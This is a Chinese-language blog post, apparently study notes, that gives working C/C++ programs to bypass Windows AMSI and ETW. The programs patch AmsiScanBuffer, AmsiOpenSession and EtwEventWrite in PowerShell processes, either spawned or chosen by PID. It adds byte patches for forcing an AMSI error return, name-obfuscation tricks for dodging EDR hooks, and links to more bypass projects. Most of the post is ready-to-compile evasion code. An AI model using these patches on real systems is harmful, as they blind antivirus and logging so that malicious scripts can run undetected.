0%

AMSI/ETW_bypass

AMSI

Memory Patch

1. Ret Memory Patch

创建一个powershell进程,然后通过ret硬编码让AmsiScanBuffer返回 代码和etwpatch处相似 不过这种方法容易被杀软查杀

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <Windows.h>
#include <stdio.h>

int main() {
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
si.cb = sizeof(si);

CreateProcessA(NULL, (LPSTR)"powershell -NoExit dir", NULL, NULL, NULL, NULL, NULL, NULL, &si, &pi);

HMODULE hAmsi = LoadLibraryA("amsi.dll");
unsigned char pAmsiScanBufferProcName[] = { 'A','m','s','i','S','c','a','n','B','u','f','f','e','r', 0 };
LPVOID pAmsiScanBuffer = GetProcAddress(hAmsi, (LPCSTR)pAmsiScanBufferProcName);


DWORD oldProtect;
char patch = 0xc3;
VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, 1, PAGE_EXECUTE_READWRITE, &oldProtect);

WriteProcessMemory(pi.hProcess, (LPVOID)pAmsiScanBuffer, &patch, sizeof(char), NULL);
VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, 1, oldProtect, NULL);

CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
FreeLibrary(hAmsi);
return 0;
}

2. AmsiOpenSession Memory Patch

C++ https://github.com/TheD1rkMtr/AMSI_patch/blob/main/AmsiOpenSession/AmsiOpenSession.cpp

这里直接把代码贴过来 学习下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#include <Windows.h>
#include <stdio.h>
#pragma comment(lib, "ntdll")


#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif

char Ams1[] = { 'a','m','s','i','.','d','l','l',0 };
char Ams10pen[] = { 'A','m','s','i','O','p','e','n','S','e','s','s','i','o','n',0 };

EXTERN_C NTSTATUS NtProtectVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN OUT PSIZE_T RegionSize,
IN ULONG NewProtect,
OUT PULONG OldProtect);

EXTERN_C NTSTATUS NtWriteVirtualMemory(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
IN PVOID Buffer,
IN SIZE_T NumberOfBytesToWrite,
OUT PSIZE_T NumberOfBytesWritten OPTIONAL);


DWORD64 GetAddr(LPVOID addr) {

for (int i = 0; i < 1024; i++) {

if (*((PBYTE)addr + i) == 0x74) return (DWORD64)addr + i; // 74 je -> 75 jne 变成不相等跳
}

}


void AMS1Patch(HANDLE hproc) {
//Load AmsiOpenSession
void* pAms10pen = GetProcAddress(LoadLibraryA(Ams1), Ams10pen); //00007ffb`c40b37e0

char Patch[100];
ZeroMemory(Patch, 100);
lstrcatA(Patch, "\x75");

printf("\n[+] The Patch : %p\n\n", *(INT_PTR*)Patch);

DWORD OldProtect = 0;
SIZE_T memPage = 0x1000;
//void* ptraddr = (void*)(((INT_PTR)ptr + 0xa));
void* ptraddr = (void*)((DWORD64)pAms10pen + 0x3); //00007ffb`c40b37e0 +0x03 7447 -> 7547 je-> jne
void* ptraddr2 = (void*)GetAddr(pAms10pen);

NTSTATUS NtProtectStatus1 = NtProtectVirtualMemory(hproc, &ptraddr2, (PSIZE_T)&memPage, 0x04, &OldProtect); //0x04 PAGE_READWRITE
if (!NT_SUCCESS(NtProtectStatus1)) {
printf("[!] Failed in NtProtectVirtualMemory1 (%u)\n", GetLastError());
return;
}
NTSTATUS NtWriteStatus = NtWriteVirtualMemory(hproc, (void*)GetAddr(pAms10pen), (PVOID)Patch, 1, (SIZE_T*)nullptr);
if (!NT_SUCCESS(NtWriteStatus)) {
printf("[!] Failed in NtWriteVirtualMemory (%u)\n", GetLastError());
return;
}
NTSTATUS NtProtectStatus2 = NtProtectVirtualMemory(hproc, &ptraddr2, (PSIZE_T)&memPage, OldProtect, &OldProtect);
if (!NT_SUCCESS(NtProtectStatus2)) {
printf("[!] Failed in NtProtectVirtualMemory2 (%u)\n", GetLastError());
return;
}

printf("\n[+] AMSI patched !!\n\n");

}

int main(int argc, char** argv) {

HANDLE hProc;

if (argc != 2) {
printf("Usage: AMS1-Patch.exe <PID>\n");
return 1;
}

hProc = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, (DWORD)atoi(argv[1]));
if (!hProc) {
printf("Failed in OpenProcess (%u)\n", GetLastError());
return 2;
}

AMS1Patch(hProc);

return 0;
}

AmsiOpenSession() 将74 je 改为 75 jne

img

通过NtProtectVirtualMemory 向指定的powershell进程写入内存补丁

img

3.AmsiScanBuffer Patch

通过IDA、Windbg查看AmsiScanBuffer、AmsiScanString 可以发现 80070057h

img

img

//static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };

//static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };

img

可参考 C# (之前C#没咋写过不太熟悉 后面再搞 顺便抽时间实现下P/Invoke)

https://0x00-0x00.github.io/research/2018/10/28/How-to-bypass-AMSI-and-Execute-ANY-malicious-powershell-code.html

https://aq.mk/index.php/archives/88.html

https://txluck.github.io/2022/03/26/bypass-AMSI/

https://www.cyberark.com/resources/threat-research-blog/amsi-bypass-redux

In-Process Patchless ASMI Bypass[待实现]

主要通过硬件断点

参考项目:

https://gist.github.com/CCob/fe3b63d80890fafeca982f76c8a3efdf

https://ethicalchaos.dev/2022/04/17/in-process-patchless-amsi-bypass/

https://github.com/VoldeSec/PatchlessInlineExecute-Assembly

https://gist.github.com/susMdT/360c64c842583f8732cc1c98a60bfd9e

ETW

Ret Memory Patch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <Windows.h>
#include <Tlhelp32.h>
int main() {
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
si.cb = sizeof(si);

// 1. 建立一个 Powershell Process,并取得 Process Handle
CreateProcessA(NULL, (LPSTR)"powershell -noexit", NULL, NULL, NULL, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

// 2. 从 ntdll.dll 中取得 EtwEventWrite 的地址
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
//LPVOID pEtwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite");
//可能会有某些edr会对EtwEventWrite函数hook,所以这里可以处理下
unsigned char pEtwEventWriteProcName[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0 };
LPVOID pEtwEventWrite = GetProcAddress(hNtdll, (LPCSTR)pEtwEventWriteProcName);

// 3. 把 EtwEventWrite 的地址的权限改成可读、可写、可执行(rwx)
DWORD oldProtect;
VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProtect);

// 4. 将 EtwEventWrite 的第一个 byte 改成 0xc3,也就是ret返回指令
char patch = 0xc3;
WriteProcessMemory(pi.hProcess, (LPVOID)pEtwEventWrite, &patch, sizeof(char), NULL);

// 5. 把 EtwEventWrite 的权限改回,并且继续执行 Process
VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1, oldProtect, NULL);
ResumeThread(pi.hThread);

CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return 0;
}

将call处代码替换为0x90 然后直接ret返回

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#include <Windows.h>
#include <stdio.h>
#include <iostream>
using namespace std;

#pragma comment(lib, "ntdll")

#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif

EXTERN_C NTSTATUS NtProtectVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN OUT PSIZE_T RegionSize,
IN ULONG NewProtect,
OUT PULONG OldProtect);

EXTERN_C NTSTATUS NtWriteVirtualMemory(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
IN PVOID Buffer,
IN SIZE_T NumberOfBytesToWrite,
OUT PSIZE_T NumberOfBytesWritten OPTIONAL);


void ETWPatch(OUT HANDLE& hProc) {

HMODULE hNtdll = GetModuleHandleA("ntdll.dll");

unsigned char pEtwEventWriteProcName[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0 };
LPVOID pEtw = GetProcAddress(hNtdll, (LPCSTR)pEtwEventWriteProcName);

for (BYTE offset = 0; offset <= 100; offset++) {
if (*((PBYTE)pEtw + offset) == 0xe8 && *((PBYTE)pEtw + offset + 9) == 0xc3) {
char etwPatch[] = { 0x90, 0x90, 0x90, 0x90, 0x90 };

DWORD OldProtect = 0;
SIZE_T memPage = 0x1000;
void* etwAddr_bk = (void*)(((INT_PTR)pEtw + offset));;

NTSTATUS NtProtectStatus1 = NtProtectVirtualMemory(hProc, (PVOID*)&etwAddr_bk, (PSIZE_T)&memPage, 0x04, &OldProtect);
if (!NT_SUCCESS(NtProtectStatus1)) {
printf("[!] Failed in NtProtectVirtualMemory1 (%u)\n", GetLastError());
return;
}

NTSTATUS NtWriteStatus = NtWriteVirtualMemory(hProc, (LPVOID)((INT_PTR)pEtw + offset), (PVOID)etwPatch, sizeof(etwPatch), (SIZE_T*)nullptr);
if (!NT_SUCCESS(NtWriteStatus)) {
printf("[!] Failed in NtWriteVirtualMemory (%u)\n", GetLastError());
return;
}

NTSTATUS NtProtectStatus2 = NtProtectVirtualMemory(hProc, (PVOID*)&etwAddr_bk, (PSIZE_T)&memPage, OldProtect, &OldProtect);
if (!NT_SUCCESS(NtProtectStatus2)) {
printf("[!] Failed in NtProtectVirtualMemory2 (%u)\n", GetLastError());
return;
}
}
if (*((PBYTE)pEtw + offset) == 0xc3) {
break;
}
}

std::cout << "[+] Patched etw!\n";

}

int main(int argc, char** argv) {

if (argc != 2) {
printf("Usage: ETW-Patch.exe <PID>\n");
return 1;
}

HANDLE hProc = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, (DWORD)atoi(argv[1]));
if (!hProc) {
printf("Failed in OpenProcess (%u)\n", GetLastError());
return 2;
}

ETWPatch(hProc);
}

img

将call xxx 处的9个字节替换为90 nop 直接ret

欢迎关注我的其它发布渠道

------------- 💖 🌞 本 文 结 束 😚 感 谢 您 的 阅 读 🌞 💖 -------------